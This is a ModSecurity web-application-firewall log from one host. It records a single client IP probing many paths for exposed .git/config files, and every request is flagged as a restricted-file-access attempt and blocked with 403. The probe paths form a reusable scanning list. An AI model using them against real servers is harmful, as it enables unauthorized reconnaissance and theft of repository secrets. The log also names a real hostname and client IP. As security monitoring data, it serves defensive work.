[Wed Apr 03 09:03:54.886031 2024] [:error] [pid 2230843] [client 91.215.85.29:53052] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;Zgz_Wu0iJ8o9USv49PhhAgAAAA0&quot;]
[Wed Apr 03 09:03:54.891400 2024] [:error] [pid 2230835] [client 91.215.85.29:53064] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;Zgz_WgFxYREdOVJ32pclVwAAAAY&quot;]
[Wed Apr 03 09:03:54.891857 2024] [:error] [pid 2230835] [client 91.215.85.29:53064] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;Zgz_WgFxYREdOVJ32pclVwAAAAY&quot;]
[Wed Apr 03 09:03:54.892112 2024] [:error] [pid 2230835] [client 91.215.85.29:53064] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;Zgz_WgFxYREdOVJ32pclVwAAAAY&quot;]
[Wed Apr 03 09:03:54.903064 2024] [:error] [pid 2230840] [client 91.215.85.29:53072] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /aomanalyzer/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;Zgz_WjTnKRItLao_rhnEPAAAAAo&quot;]
[Wed Apr 03 09:03:54.903621 2024] [:error] [pid 2230840] [client 91.215.85.29:53072] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;Zgz_WjTnKRItLao_rhnEPAAAAAo&quot;]
[Wed Apr 03 09:03:54.904028 2024] [:error] [pid 2230840] [client 91.215.85.29:53072] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;Zgz_WjTnKRItLao_rhnEPAAAAAo&quot;]
[Wed Apr 03 09:03:54.918231 2024] [:error] [pid 2230841] [client 91.215.85.29:53074] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /a/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;Zgz_WpTjQsDtbajOrGwvjQAAAAs&quot;]
[Wed Apr 03 09:03:54.918797 2024] [:error] [pid 2230841] [client 91.215.85.29:53074] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;Zgz_WpTjQsDtbajOrGwvjQAAAAs&quot;]
[Wed Apr 03 09:03:54.920888 2024] [:error] [pid 2230841] [client 91.215.85.29:53074] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;Zgz_WpTjQsDtbajOrGwvjQAAAAs&quot;]
[Wed Apr 03 09:03:54.938808 2024] [:error] [pid 2228853] [client 91.215.85.29:53090] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;Zgz_WggFjuP0VcLbM5tQdAAAAAU&quot;]
[Wed Apr 03 09:03:54.939543 2024] [:error] [pid 2228853] [client 91.215.85.29:53090] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;Zgz_WggFjuP0VcLbM5tQdAAAAAU&quot;]
[Wed Apr 03 09:03:54.939964 2024] [:error] [pid 2228853] [client 91.215.85.29:53090] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;Zgz_WggFjuP0VcLbM5tQdAAAAAU&quot;]
[Wed Apr 03 09:03:54.948794 2024] [:error] [pid 2228852] [client 91.215.85.29:53100] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /amphtml/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;Zgz_Wg-iKLEE0C6YcDZSxgAAAAQ&quot;]
[Wed Apr 03 09:03:54.949240 2024] [:error] [pid 2228852] [client 91.215.85.29:53100] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;Zgz_Wg-iKLEE0C6YcDZSxgAAAAQ&quot;]
[Wed Apr 03 09:03:54.949683 2024] [:error] [pid 2228852] [client 91.215.85.29:53100] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;Zgz_Wg-iKLEE0C6YcDZSxgAAAAQ&quot;]
[Wed Apr 03 09:03:54.959766 2024] [:error] [pid 2230842] [client 91.215.85.29:53104] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Zgz_WtbzVbhphexfEPwWBwAAAAw&quot;]
[Wed Apr 03 09:03:54.960295 2024] [:error] [pid 2230842] [client 91.215.85.29:53104] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Zgz_WtbzVbhphexfEPwWBwAAAAw&quot;]
[Wed Apr 03 09:03:54.960779 2024] [:error] [pid 2230842] [client 91.215.85.29:53104] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Zgz_WtbzVbhphexfEPwWBwAAAAw&quot;]
[Wed Apr 03 09:03:54.970329 2024] [:error] [pid 2228850] [client 91.215.85.29:53126] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;Zgz_WkL5fnNG-RUF8dnHGgAAAAI&quot;]
[Wed Apr 03 09:03:54.970701 2024] [:error] [pid 2228850] [client 91.215.85.29:53126] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;Zgz_WkL5fnNG-RUF8dnHGgAAAAI&quot;]
[Wed Apr 03 09:03:54.971009 2024] [:error] [pid 2228850] [client 91.215.85.29:53126] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;Zgz_WkL5fnNG-RUF8dnHGgAAAAI&quot;]
[Wed Apr 03 09:03:54.974986 2024] [:error] [pid 2228849] [client 91.215.85.29:53118] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;Zgz_WrxBoV88e0MwmeBjIAAAAAE&quot;]
[Wed Apr 03 09:03:54.975558 2024] [:error] [pid 2228849] [client 91.215.85.29:53118] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;Zgz_WrxBoV88e0MwmeBjIAAAAAE&quot;]
[Wed Apr 03 09:03:54.976015 2024] [:error] [pid 2228849] [client 91.215.85.29:53118] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;Zgz_WrxBoV88e0MwmeBjIAAAAAE&quot;]
[Wed Apr 03 09:03:55.032877 2024] [:error] [pid 2230843] [client 91.215.85.29:53154] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhAwAAAA0&quot;]
[Wed Apr 03 09:03:55.033505 2024] [:error] [pid 2230843] [client 91.215.85.29:53154] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhAwAAAA0&quot;]
[Wed Apr 03 09:03:55.033906 2024] [:error] [pid 2230843] [client 91.215.85.29:53154] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhAwAAAA0&quot;]
[Wed Apr 03 09:03:55.037699 2024] [:error] [pid 2230835] [client 91.215.85.29:53170] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclWAAAAAY&quot;]
[Wed Apr 03 09:03:55.038321 2024] [:error] [pid 2230835] [client 91.215.85.29:53170] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclWAAAAAY&quot;]
[Wed Apr 03 09:03:55.038772 2024] [:error] [pid 2230835] [client 91.215.85.29:53170] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclWAAAAAY&quot;]
[Wed Apr 03 09:03:55.040383 2024] [:error] [pid 2228848] [client 91.215.85.29:53138] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ45QAAAAA&quot;]
